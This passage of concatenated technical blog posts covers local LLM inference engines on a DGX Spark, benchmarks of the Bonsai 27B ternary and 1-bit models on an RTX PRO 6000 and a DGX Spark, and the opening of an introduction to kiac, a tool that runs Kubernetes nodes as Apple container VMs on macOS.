Two readings jump out. First, prefill of 11.3k tokens on this box takes only about 1.3 seconds, roughly 9,000 tokens per second, so the absolute best a KV cache layer could save on this workload is about a second. Second, for the repeat-the-same-document case, vLLM's built-in prefix caching already answers in 0.07 seconds, and LMCache did not improve on that enough to matter. One genuine improvement over my first pass: on the older vLLM 0.19.0 pairing the connector cost roughly 10% of decode speed just by being on; on the current pairing that overhead was within noise.

**The surprise: restart persistence did not work.** The thing I expected this pairing to add on a single box is a KV cache that survives restarts. The store side works: my document became 44 chunk files, 396 MB on disk, with LMCache-reported store throughput of 11 to 27 GB/s. But after a restart, the logs said `LMCache hit tokens: 0` and it re-prefilled everything. I chased down two separate causes:

1. LMCache cannot import vLLM's chunk hash function, warns `Could not load 'builtin' from vLLM`, and falls back to Python's built-in hash, which is randomized per process. Every restart names the same chunks differently. I confirmed it on the vLLM 0.19.0 pairing: the disk directory doubled from 44 to 88 chunks after one restart, same tokens under new names.
2. Pinning `PYTHONHASHSEED=0` makes the names deterministic, but lookups still return zero hits. The local-disk index lives only in memory and is never rebuilt from the files at startup.

I then retested on the current pairing, vLLM 0.25.1 with LMCache 0.5.1. The `Could not load 'builtin'` warning still appears, and the restart lookup still returns `LMCache hit tokens: 0`.

So in all three pairings I tested (LMCache 0.4.2 and 0.5.1 on vLLM 0.19.0, and LMCache 0.5.1 on vLLM 0.25.1), the local-disk tier behaved like a write-only tier across restarts. The KV files land on disk and are never found again.

One more scoping note: LMCache's current documentation now labels this in-process connector approach "Legacy (In-Process Mode)" and is moving toward a separate multiprocess server architecture. So read this as a verdict on the in-process pairings I tested, not on LMCache as a whole.

**What fits and what does not.** For this single-Spark workload and these legacy in-process pairings, LMCache did not earn its keep: the in-process win is already covered by vLLM's native prefix caching, and cross-restart reuse failed in all three pairings I tested. Current LMCache guidance points toward its multiprocess server mode instead, which I have not tested. Where it should shine is the setting it was actually built for: multiple serving instances sharing a cache tier, matched-version stacks like the project's own containers, and clusters where prefill is genuinely expensive. On a 3B model with a roughly 9,000 tok/s prefill rate, there is simply not much time to save. Recheck this when the ARM64 packaging and the vLLM pairing settle down, because the idea is right even though these pairings are not there yet.

### MAX by Modular

[MAX](https://www.modular.com/open-source/max) is Modular's high-performance inference framework. The interesting idea is a compiler/runtime stack that targets different hardware through the Modular ecosystem.

This is not a tested Spark path in this series. It belongs on the wider landscape for readers comparing vLLM, SGLang, TensorRT-LLM, and cross-hardware runtimes.

### ZML/LLMD alpha

[ZML/LLMD](https://zml.ai/posts/llmd/) is a newer alpha inference server from the ZML team. Its pitch is ambitious: one self-contained LLM server across NVIDIA CUDA, AMD ROCm, Google TPU, Intel oneAPI, and Apple Metal.

The interesting parts are the serving features it is trying to make cross-platform: continuous batching, paged attention, tensor parallel sharding, prefix caching, tool calling, Prometheus metrics, and DFlash speculative decoding for supported models.

That belongs in this post because it attacks the same problem from a compiler-first, cross-hardware direction. After seeing the launch post, I did a quick Spark smoke test rather than just mentioning it.

On this Spark, the CUDA image had an `arm64` manifest, pulled successfully, detected the GB10, loaded CUDA compatibility libraries, and served `Qwen/Qwen3-0.6B` through the OpenAI-compatible API:

```bash
docker run -d --rm --name day5-zml-llmd \
  --gpus all \
  --shm-size=32GB \
  -p 127.0.0.1:8011:8000 \
  zmlai/llmd:cuda \
  --model=hf://Qwen/Qwen3-0.6B \
  --model-name=qwen3-0.6b \
  --max-context-len=4096 \
  --batch-size=1 \
  --gpu-memory-fraction=0.40
```

The useful startup lines were:

```text
info(llmd): Devices:
info(llmd):     - NVIDIA GB10 (cuda:0)
info(llama): Allocating 26238 pages for the KvCache: 44.840GiB
info(llama): Compiled all models [18.796s]
info(llama): Loaded weights [1.40GiB, 46.282s, 30.98MiB/s]
info(llmd): Loaded a model of type qwen3
info(llmd): Listening on 0.0.0.0:8000
```

`/v1/models` returned the local model:

```json
{"id":"qwen3-0.6b","object":"model","owned_by":"local"}
```

And a tiny `/v1/chat/completions` request returned successfully:

```text
elapsed_s 0.346
prompt_tokens: 28
completion_tokens: 49
total_tokens: 77
```

The `/metrics` endpoint also worked and exposed Prometheus-style counters for `/v1/models` and `/v1/chat/completions`.

Do not read that as a performance benchmark. It is a tiny Qwen3 0.6B compatibility smoke test, not a tuned Spark serving result. The important point is narrower and still useful: **ZML/LLMD alpha does run on the Spark's ARM64 + GB10 CUDA path, at least for a small model.** DFlash, larger Gemma/Qwen models, tensor parallelism, and real throughput numbers still need a separate proper test.

### EXO

[EXO](https://exolabs.net/) is about local distributed inference across Macs and workstations. The project describes a local cluster that finds devices, reads the network topology, splits model work across memory, and serves normal APIs.

This is not the same problem as "which engine should I run on one Spark?" But it matters for the future of deskside AI: multiple local machines acting like one inference pool.

### MLX and mlxcel

[MLX](https://github.com/ml-explore/mlx) is Apple's machine-learning framework for Apple Silicon. `mlxcel` is a newer Rust-native MLX inference engine that I tested on an M1 Max in a separate post: [mlxcel: A Rust-Native Inference Engine for Apple Silicon](/blog/mlxcel-rust-native-inference-engine-tested-on-m1-max).

This is not a DGX Spark runtime. It is an Apple Silicon runtime.

But it is useful for the mental model because it shows the same story on different hardware:

**hardware memory model plus runtime design decides real-world local LLM performance.**

Spark has GB10, CUDA, Blackwell, and unified memory. Apple Silicon has MLX, Metal, and unified memory. The lesson is shared even if the code paths are different.

### Wandler and WebGPU-style local servers

Wandler is another related local-inference direction: TypeScript, Transformers.js, ONNX, WebGPU, and OpenAI-compatible local serving. I tested it separately too: [Wandler: Local OpenAI-Compatible Inference With Transformers.js and WebGPU](/blog/wandler-local-openai-compatible-inference-transformersjs-webgpu).

Again, not a Spark-first choice. But it belongs in the "the ecosystem is moving fast" paragraph because local inference is no longer only Python or CUDA.

## What's coming next

Next we look at **the models**: which ones actually fit this box, which are worth running for which workload, and how to read benchmark numbers without fooling yourself.

---

References and sources:

- [Ollama: NVIDIA DGX Spark performance](https://ollama.com/blog/nvidia-spark-performance)
- [llama.cpp speculative decoding docs](https://github.com/ggml-org/llama.cpp/blob/master/docs/speculative.md)
- [llama.cpp PR #22105: DFlash speculative decoding support](https://github.com/ggml-org/llama.cpp/pull/22105)
- [vLLM documentation](https://docs.vllm.ai/en/latest/)
- [vLLM on the DGX Spark](https://vllm.ai/blog/2026-06-01-vllm-dgx-spark)
- [vLLM for Inference on DGX Spark](https://build.nvidia.com/spark/vllm)
- [Docker Model Runner docs](https://docs.docker.com/ai/model-runner/)
- [Docker Model Runner inference engines](https://docs.docker.com/ai/model-runner/inference-engines/)
- [SGLang on DGX Spark](https://build.nvidia.com/spark/sglang)
- [LM Studio on DGX Spark](https://build.nvidia.com/spark/lm-studio)
- [TensorRT-LLM on DGX Spark](https://build.nvidia.com/spark/trt-llm)
- [NIM on DGX Spark](https://build.nvidia.com/spark/nim-llm)
- [NIM model profiles and selection](https://docs.nvidia.com/nim/large-language-models/latest/deployment/model-profiles-and-selection.html)
- [Hermes Agent with local models on DGX Spark](https://build.nvidia.com/spark/hermes-agent)
- [NemoClaw with a local LLM on DGX Spark](https://build.nvidia.com/spark/nemoclaw)
- [OpenClaw on DGX Spark](https://build.nvidia.com/spark/openclaw)
- [NVIDIA Dynamo](https://developer.nvidia.com/dynamo)
- [TensorRT-LLM overview](https://nvidia.github.io/TensorRT-LLM/overview.html)
- [MAX by Modular](https://www.modular.com/open-source/max)
- [ZML/LLMD alpha](https://zml.ai/posts/llmd/)
- [zml/zml on GitHub](https://github.com/zml/zml)
- [EXO](https://exolabs.net/)
- [mlxcel on M1 Max](/blog/mlxcel-rust-native-inference-engine-tested-on-m1-max)
- [Wandler local WebGPU inference](/blog/wandler-local-openai-compatible-inference-transformersjs-webgpu)

---

# Bonsai 27B on RTX PRO 6000 vs DGX Spark: what actually works

- Canonical: https://blog.kubesimplify.com/bonsai-27b-rtx-pro-6000-dgx-spark
- Published: 2026-07-16
- Summary: Real Bonsai 27B benchmarks on an RTX PRO 6000 and a DGX Spark, including the supported llama.cpp setup, ternary vs 1-bit results, and speculative decoding.

PrismML recently released [Bonsai 27B](https://github.com/PrismML-Eng/Bonsai-demo), a compressed version of Qwen3.6-27B designed to retain useful reasoning at an unusually small footprint. It comes in two main variants:

- **Ternary Bonsai 27B**: the higher-quality option, with weights in `{-1, 0, +1}`.
- **1-bit Bonsai 27B**: the smaller and faster option, with weights in `{-1, +1}`.

Most early results focused on phones and laptops. I wanted to know what these models look like on two very different NVIDIA systems:

- **RTX PRO 6000 Blackwell Server Edition**: 96 GB VRAM, approximately 1.8 TB/s memory bandwidth, `sm_120`. Thanks to [Utho Cloud](https://utho.com/) for sponsoring access to this system.
- **NVIDIA DGX Spark**: GB10 Grace Blackwell, 128 GB unified memory (about 121 GB usable), 273 GB/s memory bandwidth, `sm_121`.

The short version: Bonsai is extremely fast for a single user on the RTX PRO 6000, remains practical on the DGX Spark, and is much easier to run when you follow PrismML's supported setup instead of mixing model files and experimental llama.cpp branches.

## Results at a glance

| Machine | Ternary Q2_0 | 1-bit Q1_0 | DSpark speculative decoding |
|---|---:|---:|---:|
| RTX PRO 6000 | 3,620 pp / **120.7 tg** | 3,600 pp / **145.5 tg** | 117.4 → **156.4 tok/s** in our code-generation test |
| DGX Spark | 937.7 pp / **28.5 tg** | 991.6 pp / **42.8 tg** | 28.2 → **17.6 tok/s** in the same test |

`pp` is prompt-processing speed: how quickly the model reads input. `tg` is token-generation speed: how quickly it writes the response. Both are tokens per second. The `llama-bench` results below use a 512-token prompt and generate 128 tokens, with five repetitions per cell.

The practical choices are simple:

- On the **RTX PRO 6000**, use ternary Q2_0 when quality is the priority and Q1_0 when raw decode speed matters more.
- On the **DGX Spark**, Q1_0 is the better speed-first option. Q2_0 remains usable when you want the higher-quality ternary model.
- Treat **DSpark speculative decoding as workload-specific**. It helped our single-user RTX code-generation test, but hurt the same test on the Spark. PrismML also marks it experimental because it forces one server slot and disables cross-request prompt-cache reuse.

![Batch-1 decode speed: Bonsai on llama.cpp vs Qwen3.6 NVFP4 on vLLM, both machines](/img/blog/bonsai-27b-rtx-pro-6000-dgx-spark/decode-speed.svg)

## What Bonsai 27B is

Bonsai keeps the Qwen3.6-27B architecture but retrains the model so its language weights can use a binary or ternary representation. The base model has a hybrid-attention design: about 75% of its layers use linear attention, which helps keep long-context memory growth under control.

![How Bonsai 27B gets from 54 GB to your GPU](/img/blog/bonsai-27b-rtx-pro-6000-dgx-spark/bonsai-pipeline.svg)

| Variant | Effective bits per weight | Ideal weight size | Published benchmark average |
|---|---:|---:|---:|
| Ternary Bonsai 27B | 1.71 | 5.9 GB | 80.49, or 94.6% of the FP16 reference |
| 1-bit Bonsai 27B | 1.125 | 3.9 GB | 76.11, or 89.5% of the FP16 reference |

There is an important size distinction. The 5.9 GB ternary figure is the ideal representation size. The current Q2_0 GGUF occupies about **7.17 GB on disk** because ternary values are stored in 2-bit slots with group scales. The Q1_0 GGUF is about **3.79 GB on disk**. Those deployed sizes are the useful numbers for planning downloads and memory.

PrismML reports an average score of 72.73 for a conventional IQ2_XXS build of Qwen3.6-27B and 84.99 for Q4_K_XL. That makes the ternary model interesting: its published quality is much closer to the 4-bit result while using substantially less storage. These are PrismML's evaluations, not results I independently reproduced in full.

## Use the supported setup

PrismML's [README](https://github.com/PrismML-Eng/Bonsai-demo) and [agent guide](https://github.com/PrismML-Eng/Bonsai-demo/blob/main/AGENTS.md) provide the intended installation path. On Linux or macOS, the basic flow is:

```bash
git clone https://github.com/PrismML-Eng/Bonsai-demo.git
cd Bonsai-demo
./setup.sh
./scripts/start_llama_server.sh
```

The default is Ternary Bonsai 27B. For the 1-bit model:

```bash
BONSAI_FAMILY=bonsai ./setup.sh
BONSAI_FAMILY=bonsai ./scripts/start_llama_server.sh
```

The setup script downloads the matching model and PrismML's prebuilt llama.cpp binaries. That is the path I would recommend to most readers.

For reproducible benchmarking, I built the engines from source. The benchmark captures record these revisions:

- Mainline llama.cpp: `12127de`
- PrismML `pr/q2_0-cuda`: `87ff025` on the RTX PRO 6000 and `54e8e26` on the DGX Spark
- PrismML `prism`: `62061f9`, the commit behind release `prism-b9591-62061f9`

Branches move. If you want to reproduce these numbers, use the machine-specific commits above rather than cloning a branch tip and assuming it is unchanged.

### Commands used for the benchmark cells

These are the `llama-bench` commands used for the result tables. They assume the GGUF files are in `models/` and use these local checkout names:

- `llama.cpp-mainline`: mainline llama.cpp at `12127de`
- `llama.cpp-prism`: PrismML `pr/q2_0-cuda` at the machine-specific revision listed above
- `llama.cpp-prismbr`: PrismML `prism` at `62061f9`

Create the three pinned checkouts:

```bash
# Use 87ff025 on the RTX PRO 6000 or 54e8e26 on the DGX Spark.
Q2_G64_COMMIT=87ff025

git clone https://github.com/ggml-org/llama.cpp.git llama.cpp-mainline
git -C llama.cpp-mainline checkout 12127de

git clone https://github.com/PrismML-Eng/llama.cpp.git llama.cpp-prism
git -C llama.cpp-prism checkout "${Q2_G64_COMMIT}"

git clone https://github.com/PrismML-Eng/llama.cpp.git llama.cpp-prismbr
git -C llama.cpp-prismbr checkout 62061f9
```

From the directory containing those checkouts, build `llama-bench` for the GPU you are testing:

```bash
# Use 120 for the RTX PRO 6000 or 121 for the DGX Spark.
CUDA_ARCH=120

for TREE in llama.cpp-mainline llama.cpp-prism llama.cpp-prismbr; do
  cmake -S "${TREE}" -B "${TREE}/build" \
    -DGGML_CUDA=ON \
    -DCMAKE_CUDA_ARCHITECTURES="${CUDA_ARCH}" \
    -DLLAMA_BUILD_UI=OFF
  cmake --build "${TREE}/build" -j --target llama-bench
done
```

From the directory containing the three checkouts and `models/`, the mainline Q1_0 run was:

```bash
./llama.cpp-mainline/build/bin/llama-bench \
  -m models/Bonsai-27B-Q1_0.gguf \
  -fa 0,1 -p 512 -n 128 -o md
```

On the DGX Spark, the Q2_g64 run used both flash-attention values in one command. This is the command that produced the `607.4` and `900.7` prefill rows shown later:

```bash
./llama.cpp-prism/build/bin/llama-bench \
  -m models/Ternary-Bonsai-27B-Q2_g64.gguf \
  -fa 0,1 -p 512 -n 128 -o md
```

The RTX Q2_g64 run used the same model and engine command with `-fa 1` only; I did not run an RTX Q2_g64 flash-attention A/B test.

The PrismML `prism` runs for Q2_0 and Q1_0 were:

```bash
BIN=./llama.cpp-prismbr/build/bin

${BIN}/llama-bench \
  -m models/Ternary-Bonsai-27B-Q2_0.gguf \
  -fa 1 -p 512 -n 128 -o md

${BIN}/llama-bench \
  -m models/Bonsai-27B-Q1_0.gguf \
  -fa 1 -p 512 -n 128 -o md
```

The commands did not explicitly set repetitions, GPU layers, threads, batch sizes, KV-cache types, or warm-up behavior. The pinned sources default to five repetitions, full GPU offload (`ngl = -1`), batch 2,048, microbatch 512, F16 K/V cache, warm-up enabled, and a machine-dependent CPU thread count. The resulting captures record `ngl = -1`, but not every default. On the multi-GPU RTX host, I set `CUDA_VISIBLE_DEVICES` to one GPU UUID before each command; do the same on any multi-GPU system to avoid accidentally spreading a run across devices.

The execution record does not contain publishable checksums for every GGUF file, so this documents how the benchmark cells were produced rather than guaranteeing byte-for-byte reproduction from a future model download.

The [pinned `llama-bench` documentation](https://github.com/ggml-org/llama.cpp/blob/12127de/tools/llama-bench/README.md) explains the flags and notes that these measurements exclude tokenization and sampling time.

## One compatibility detail worth knowing

The repository currently publishes several ternary GGUF files because ternary support is moving into mainline llama.cpp. They are not interchangeable:

| File | Intended use on CUDA at the tested revisions |
|---|---|
| `Ternary-Bonsai-27B-Q2_0.gguf` | PrismML's supported `prism` build; this is the recommended path |
| `Ternary-Bonsai-27B-Q2_g64.gguf` | The group-64 migration format; fast with the tested `pr/q2_0-cuda` build |
| `Ternary-Bonsai-27B-PQ2_0.gguf` | Not supported at the tested revisions |
| `Bonsai-27B-Q1_0.gguf` | Supported by mainline llama.cpp and PrismML's build |

In my tests, Q2_g64 loaded in the tested mainline CUDA build but ran through a very slow path: 8.8 pp and 2.7 tg, compared with 3,672 pp and 117.9 tg using the matching PrismML CUDA work. That is a useful diagnostic result, but it is not a reason to make readers navigate every development branch. Use the demo repository and its matching Q2_0 file unless you are specifically testing the upstream migration.

![Which file and which llama.cpp build to use](/img/blog/bonsai-27b-rtx-pro-6000-dgx-spark/which-build.svg)

## RTX PRO 6000 results

These tests used one full RTX PRO 6000 GPU with flash attention enabled.

| Model | Engine | pp512 | tg128 |
|---|---|---:|---:|
| Q1_0 | Mainline llama.cpp | 3,658.6 ± 242.2 | 133.7 ± 2.0 |
| Q1_0 | PrismML `prism` | 3,599.7 ± 324.8 | **145.5 ± 3.2** |
| Ternary Q2_g64 | PrismML `pr/q2_0-cuda` | 3,672.5 ± 293.6 | 117.9 ± 0.7 |
| Ternary Q2_0 | PrismML `prism` | 3,620.6 ± 294.4 | **120.7 ± 0.7** |

PrismML publishes an H100 SXM reference of 2,596 pp and 98 tg for ternary Q2_0. Our RTX PRO 6000 result is higher than that published reference, but this is not a controlled hardware comparison: the software revisions, flags, and environments are not identical.

### Tuning observations

For ternary Q2_0, an RTX prompt-processing sweep using a 2,048-token prompt peaked at `-ub 1024`:

| Microbatch | pp2048 |
|---:|---:|
| 256 | 3,519.0 |
| 512 | 3,969.8 |
| 1024 | **4,089.4** |
| 2048 | 4,023.2 |

Flash attention improved short-prompt prefill by about 7% in the Q1_0 test and was neutral for short-context decode.

Longer context reduced decode speed gradually rather than collapsing it. Ternary Q2_0 measured 121.8 tok/s at 4K depth, 108.6 at 16K, and 90.2 at 64K depth.

PrismML also offers experimental 4-bit KV cache support through `BONSAI_KV4=1`. Think of this as a memory-saving tool for long contexts, not a general speed optimization. The model's hybrid architecture already keeps its KV cache smaller than a full-attention 27B model.

### Concurrent users

`llama-batched-bench` shows how aggregate throughput changes as more sequences are processed together:

| Simultaneous sequences | Ternary Q2_0 total | Per sequence | Q1_0 total | Per sequence |
|---:|---:|---:|---:|---:|
| 1 | 119.3 | 119.3 | 140.2 | 140.2 |
| 10 | 411.9 | 41.2 | 471.5 | 47.1 |
| 32 | 671.8 | 21.0 | 786.1 | 24.6 |

These are synthetic batched-benchmark results, not an end-to-end production load test. They show that the small weight footprint leaves substantial batching headroom on a 96 GB GPU.

### A note on MIG

The RTX box initially exposed 32 MIG devices: four `1g.24gb` slices on each of eight GPUs. The tested llama.cpp build asserted during CUDA enumeration because it allows at most 16 visible devices. Restricting `CUDA_VISIBLE_DEVICES` to one slice avoided the startup failure.

On one `1g.24gb` slice, Q1_0 decoded at 50.2 tok/s versus 133.7 tok/s on the full GPU. That result is useful when evaluating a cloud GPU slice, but it should not be treated as a performance estimate for a different consumer GPU with similar advertised bandwidth.

## DGX Spark results

The DGX Spark has far more memory capacity than Bonsai needs, but much less memory bandwidth than the RTX PRO 6000. That difference is visible in decode performance.

All rows below use flash attention (`-fa 1`) and report `llama-bench`'s mean ± standard deviation over five repetitions.

| Model | Engine | pp512 | tg128 |
|---|---|---:|---:|
| Q1_0 | Mainline llama.cpp | 922.9 ± 11.8 | 40.9 ± 0.2 |
| Q1_0 | PrismML `prism` | **991.6 ± 13.7** | **42.8 ± 0.1** |
| Ternary Q2_g64 | PrismML `pr/q2_0-cuda` | 900.7 ± 19.1 | 26.6 ± 0.5 |
| Ternary Q2_0 | PrismML `prism` | **937.7 ± 11.0** | **28.5 ± 0.1** |

For Q2_g64, I also ran the same `54e8e26` build with flash attention disabled:

| Q2_g64 setting | pp512 | tg128 |
|---|---:|---:|
| Flash attention off | 607.4 ± 129.5 | 25.9 ± 0.6 |
| Flash attention on | 900.7 ± 19.1 | 26.6 ± 0.5 |

Enabling flash attention increased mean prefill throughput by 48.3% in this test. The flash-attention-off prefill result had high run-to-run variation, and generation changed only slightly, so I would treat this as a result for this DGX Spark configuration rather than a general comparison with the RTX card.

A Q2_g64 prompt-processing sweep peaked at `-ub 256` for a 2,048-token prompt. I did not repeat that complete microbatch sweep on Q2_0, so I would treat 256 as a starting point to measure rather than a universal best setting.

At 16K context depth, Q1_0 still produced 31.5 tok/s. That is a meaningful result for a local workstation: the model remains interactive even as context grows.

## Speculative decoding depends on the workload

PrismML ships a 1.95 GB Q4_1 DSpark drafter. It predicts short token blocks that the target model verifies. Accepted drafts preserve the target model's output distribution, but whether the technique is faster depends on the workload and hardware.

I tested the same 512-token code-generation workload at temperature zero on both systems:

| Machine | Without DSpark | With DSpark | Change |
|---|---:|---:|---:|
| RTX PRO 6000 | 117.4 tok/s | **156.4 tok/s** | +33% |
| DGX Spark | 28.2 tok/s | **17.6 tok/s** | -37% |

This makes DSpark attractive for this kind of single-user generation on the RTX PRO 6000, but not on the Spark in the tested configuration.

It is not a free switch even on the RTX card. PrismML marks the feature experimental: it forces a single server slot and disables cross-request prompt-cache reuse. Leave it off for multi-user serving, multi-turn workloads that benefit from cached prefixes, or any workload you have not measured.

## A small vLLM comparison

Bonsai's main advantage is quality per gigabyte. For context, I also ran the base Qwen3.6-27B model in NVFP4 with vLLM 0.25.1.

| Machine | Bonsai Q2_0 decode | Bonsai Q1_0 decode | Qwen3.6-27B NVFP4 decode |
|---|---:|---:|---:|
| RTX PRO 6000 | 120.7 | 145.5 | 58.9 |
| DGX Spark | 28.5 | 42.8 | 10.6 |

The RTX vLLM run reached 858.8 output tok/s at batch 64, demonstrating why vLLM remains a better fit for a conventional model under heavy concurrent serving. Bonsai with llama.cpp was faster for the single-request tests shown here.

On the Spark, I had to lower `--gpu-memory-utilization` to 0.5. The default 0.9 allocation left too little unified memory for the rest of the system in this environment. The resulting 10.6 tok/s was measured, but I did not isolate the kernel-level reason it fell below a simple bandwidth estimate.

This is a context comparison, not an equal-quality model comparison. Bonsai and the NVFP4 base model have different weight representations and published evaluation scores.

## Quality smoke tests

Speed is not useful if the model cannot complete ordinary tasks. I ran three small checks with temperature 0.7, top-p 0.95, top-k 20, and a 3,072-token generation budget:

| Test | Ternary | 1-bit |
|---|---|---|
| Trick arithmetic question | Correct | Correct |
| Longest-palindromic-substring implementation | Correct final answer | Correct approach in reasoning, but exhausted the token budget before the final answer |
| Exact JSON tool call | Valid | Valid |

These checks show that neither quant was obviously broken in basic use. They are not enough to claim that either model fully matches the original 27B model. The 1-bit coding result also shows why reasoning budgets matter: the model can spend a long time thinking before it produces a final answer.

For an interactive deployment, use the web UI's reasoning-effort control or set a server-side cap with `--reasoning-budget`. A moderate cap is often more useful than disabling reasoning entirely.

## Recommendations

| Use case | Recommendation |
|---|---|
| RTX PRO 6000, quality first | Ternary Q2_0 with the supported `prism` build |
| RTX PRO 6000, fastest single-user decode | Q1_0 |
| RTX PRO 6000, measured one-shot code generation | Test DSpark; our run improved by 33% |
| DGX Spark, quality first | Ternary Q2_0, flash attention enabled |
| DGX Spark, speed first | Q1_0, flash attention enabled |
| DGX Spark speculative decoding | Leave off initially; our test was 37% slower |
| Heavy concurrent serving of a conventional model | Use a serving engine such as vLLM and benchmark the actual workload |

Bonsai 27B is a compelling single-user and small-team inference option on both machines. The RTX PRO 6000 exposes how fast a 27B-class model can decode when its weights occupy only a few gigabytes. The DGX Spark is slower, as expected from its lower memory bandwidth, but 28-43 tok/s remains practical for local use.

The software support is still moving. Q1_0 is already the straightforward format; ternary CUDA users should follow PrismML's supported demo release until the upstream migration settles. Pin revisions when publishing benchmark numbers, and measure speculative decoding, KV-cache compression, and microbatch size against the workload you actually plan to run.

## Test environment

- RTX system: Ubuntu 24.04, NVIDIA driver 610.43.02, CUDA 13.0, one RTX PRO 6000 Blackwell Server Edition used per benchmark.
- DGX Spark: DGX OS, NVIDIA driver 580.159.03, CUDA 13.0, GB10 (`sm_121`).
- llama.cpp revisions: mainline `12127de`; PrismML CUDA migration branch `87ff025` on the RTX system and `54e8e26` on the DGX Spark; PrismML release branch `62061f9`.
- vLLM comparison: vLLM 0.25.1, transformers 5.13.1, `unsloth/Qwen3.6-27B-NVFP4`.
- `llama-bench`: five repetitions per cell unless stated otherwise.
- DSpark measurements: `llama-server` completion timings for the same code-generation prompt at temperature zero.

---

# Introducing kiac: Real Kubernetes Nodes on Your Mac, Each Its Own Lightweight VM

- Canonical: https://blog.kubesimplify.com/introducing-kiac-kubernetes-in-apple-containers
- Published: 2026-07-06
- Summary: kiac runs local Kubernetes on macOS where every node is its own lightweight VM via apple/container: kubeadm or k3s flavors, Cilium on a custom kernel, built-in LoadBalancer, Grafana, Gateway API, and clusters that survive reboots.

[kiac](https://github.com/saiyam1814/kiac) (Kubernetes in Apple Containers) runs local Kubernetes clusters where every node is its own lightweight virtual machine. Each node has its own kernel, its own cgroups, and its own IP that your Mac can reach directly. It is built on [apple/container](https://github.com/apple/container) and Apple's [Containerization](https://github.com/apple/containerization) framework, which went 1.0 in June 2026 and made this possible natively, with no Docker Desktop, no Lima, and no QEMU.

And the per-node-VM idea goes further than you might expect: pick kubeadm or k3s as your flavor, run Cilium's eBPF datapath on a published full-featured kernel, get a working LoadBalancer and Grafana out of the box, survive host reboots, and practice real node failure, all from one small CLI.

![kiac v0.3 in one picture](/img/blog/introducing-kiac-kubernetes-in-apple-containers/wow-features.png)

```bash
brew install saiyam1814/tap/kiac
kiac create cluster --name dev --workers 2
```

![kiac creating a three-node cluster](/img/blog/introducing-kiac-kubernetes-in-apple-containers/kiac-demo.gif)

This post explains the parts that make kiac interesting: how an Apple container actually works under the hood, how kiac assembles those into a Kubernetes cluster, and why that gives you a stronger isolation boundary than a node running inside a Docker container.

---

## A quick intro to Apple containers

First, what `apple/container` actually is. It is Apple's own open-source container tool for macOS: a Swift-native CLI (`container run`, `container build`, `container images`, the workflow you already know) that Apple announced at WWDC 2025 and shipped as 1.0 in June 2026. It is built on a lower-level Swift framework called [Containerization](https://github.com/apple/containerization), and both are designed for Apple silicon, talking straight to the hypervisor built into macOS. There is no Docker daemon underneath, no hidden Linux VM you have to manage, and nothing to install besides a signed package from Apple.

The interesting part is what it does differently. An Apple container is not a process sandboxed by namespaces. It is a full virtual machine. The Containerization framework boots a separate, minimal Linux VM for every single container, using Apple's `Virtualization.framework` on the silicon in your Mac.

![Anatomy of one Apple container](/img/blog/introducing-kiac-kubernetes-in-apple-containers/apple-container-anatomy.png)

Here is what happens when you run a container:

1. **The image becomes a disk.** The runtime pulls the OCI image and builds an EXT4 filesystem from its layers. That filesystem is handed to the VM as its root block device. There is no overlay or union mount layered on top of a shared host kernel. The image is literally the VM's disk.

2. **A dedicated kernel boots.** The runtime asks `Virtualization.framework` to start a VM with a minimal, optimized Linux kernel that Apple bundles with the runtime (6.12 at the time of writing). This kernel belongs to that one container. It is not shared with the host or with any other container. It is also unusual: it is monolithic, with zero loadable modules. Everything it supports is compiled in, and anything left out simply does not exist inside the VM; there is no `modprobe` escape hatch. That is part of how it boots so fast, and it matters later when we talk about CNIs.

3. **`vminitd` comes up as PID 1.** Inside the VM, a tiny init system written in Swift, called `vminitd`, is the first process. It sets up the environment and launches and supervises your actual container process. The host runtime drives it through a gRPC API carried over `vsock`, the VM-to-host socket transport.

4. **Devices are virtio, networking is direct.** The VM uses virtio devices for block, network, and console. There is no BIOS and no legacy device emulation to slow the boot, which is why these VMs start in about a second rather than the half-minute a classic VM takes. On a supported macOS, each container also gets its own dedicated IP address, so you reach it directly without port forwarding.

The payoff of this design is that you get the developer experience of containers (OCI images, registries, a `docker`-style CLI) on top of the isolation primitive of a virtual machine (a real, private kernel). That combination is exactly what makes it a good foundation for Kubernetes nodes.

---

## How a kiac cluster works

A Kubernetes node wants to be a machine. It expects its own kernel, its own kubelet, its own cgroup hierarchy for resource accounting, and its own network identity. An Apple container gives it all of those. kiac is the glue that turns a handful of these VMs into a working cluster.

![How kiac builds a cluster](/img/blog/introducing-kiac-kubernetes-in-apple-containers/architecture.png)

When you run `kiac create cluster`, the flow is:

1. **Boot the node VMs.** kiac drives the `apple/container` CLI to start one lightweight VM per node, each booted from the standard `kindest/node` image. That image already contains systemd, containerd, and kubeadm, so kiac is not reinventing the node, it is reusing a known-good one on a new runtime.

2. **Initialize the control plane.** kiac runs `kubeadm init` inside the first VM. This brings up etcd, the API server, the controller manager, and the scheduler. This step is the bulk of the create time, because it is real `kubeadm` doing real work.

3. **Join the workers.** Each worker VM runs `kubeadm join` against the control plane using a bootstrap token. Because every node has its own routable IP on the `vmnet` network, they talk to each other like machines on a small LAN.

4. **Install a usable default stack.** A bare cluster is not much fun, so every create installs four things by default:
   - **kindnet** for the pod network
   - **local-path-provisioner** as a default StorageClass, so PVCs bind and StatefulSets work immediately
   - **metrics-server**, configured for kubeadm's self-signed kubelet certs, so `kubectl top` works out of the box
   - **kiac-lb**, a purpose-built LoadBalancer controller, so `type: LoadBalancer` services get a real EXTERNAL-IP you can curl from your Mac

   kiac-lb deserves a sentence, because it is not what you expect. It is not a set of pods with webhooks and ARP speakers. It is a tiny systemd loop inside the control-plane VM that drives the node's own `kubectl` and assigns each Service a node IP local to its endpoints, in about two seconds. It shares one IP across Services on disjoint ports, and it re-checks its assignments, so it heals itself after node restarts. Since every node IP is already routable from your Mac, nothing needs to answer ARP at all.

Why is kindnet the default and not Flannel or Cilium? This is where that minimal kernel comes back. Most CNIs build an overlay: they wrap pod traffic in VXLAN or Geneve tunnels, or run an eBPF datapath, and the bundled kernel compiles none of that in (no `CONFIG_VXLAN`, no `br_netfilter`, no BPF JIT, and with zero loadable modules nothing can be added at runtime). kindnet needs none of it. It is plain L3 routing: every node already has a routable IP on the same `vmnet` segment, so kindnet just installs a route on each node for every other node's pod CIDR, and pod traffic is forwarded as ordinary IP packets. No encapsulation, no tunnel device. The only kernel features it needs (veth pairs, a bridge, iptables NAT) are all compiled in. When you do want the fancy datapath, v0.3 has an answer: a published full kernel. More on that in a moment.

5. **Write the kubeconfig.** kiac merges a context named `kiac-<name>` into your `~/.kube/config` (and backs up your existing config the first time). Your normal `kubectl` workflow just works.

